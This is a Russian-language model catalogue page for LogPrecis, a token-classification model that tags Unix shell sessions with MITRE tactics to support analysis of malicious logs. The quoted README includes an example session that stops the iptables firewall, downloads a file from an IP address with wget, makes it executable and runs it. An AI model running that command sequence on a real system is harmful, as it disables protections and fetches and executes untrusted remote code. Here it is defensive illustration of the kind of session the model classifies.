/ Модель

Характеристики

Контекст
514 токенов
Параметры
152 млн
Архитектура
roberta · dense
Опубликована
12 мар 2024

logprecis

Разметка токеновТекст → label3 профессии

LogPrecis размечает токены в Unix-сессиях тактиками MITRE для анализа вредоносной активности.

117скачиваний за 30 дней0лайковвеса обновлены18 мар 2024

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

LogPrecis — модель SmartDataPolito для последовательной разметки Unix-сессий с целью анализа вредоносных журналов. Она основана на SecureShellBert, который ранее адаптировали к предметной области на корпусе более чем из 20 тысяч Unix-сессий, а затем дообучили для классификации токенов на 360 размеченных примерах. В метаданных указаны архитектура RoBERTa, около 151,8 млн параметров и контекст до 514 токенов.

Модель принимает текст Unix-сессии и соотносит её фрагменты с тактиками MITRE, например Impact и Execution. В README сообщается о точности 91,2% на тестовом наборе; доступны код обучения, данные и подробности обучения. Модель опубликована в формате PyTorch под идентификатором SmartDataPolito/logprecis. Лицензия в предоставленных данных не указана.

Сценарии применения

  • разметка команд Unix-сессии тактиками MITRE
  • анализ вредоносных Unix-журналов
  • выявление тактик выполнения команд в shell-сессиях

Ограничения

Дообучение для классификации основано на 360 размеченных примерах; заявленная точность 91,2% относится к тестовому набору README. Описанная задача ограничена анализом Unix-сессий и тактик MITRE.

Для каких профессий подходит3

Разделы каталога профессий, в задачах которых используется эта модель

Все профессии

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

LogPrecis is a model fine-tuned for Token Classification.

The base model is SecureShellBert, a Codebert previously domain-adapted using a corpus of >20k Unix sessions. Later, it was further finetuned on the task of Token Classification with 360 labelled examples.

Specifically, LogPrecis is designed for the analysis of malicious Unix logs. Given as input a Unix session:

etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;

LogPrecis outputs the sequence of Mitre Tactics:

Impact x 3 -- Execution x 10

LogPrecis achieved a 91.2% accuracy on the test set. Its training code, data and training details are available on SmartData's GitHub.


metrics:

  • accuracy
  • rouge

pipeline_tag: token-classification

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм · token-classification

Можно запустить

Подбираем GPU…

Класс архитектуры
RobertaForTokenClassification
Ревизия весов
80e3abb

0 моделей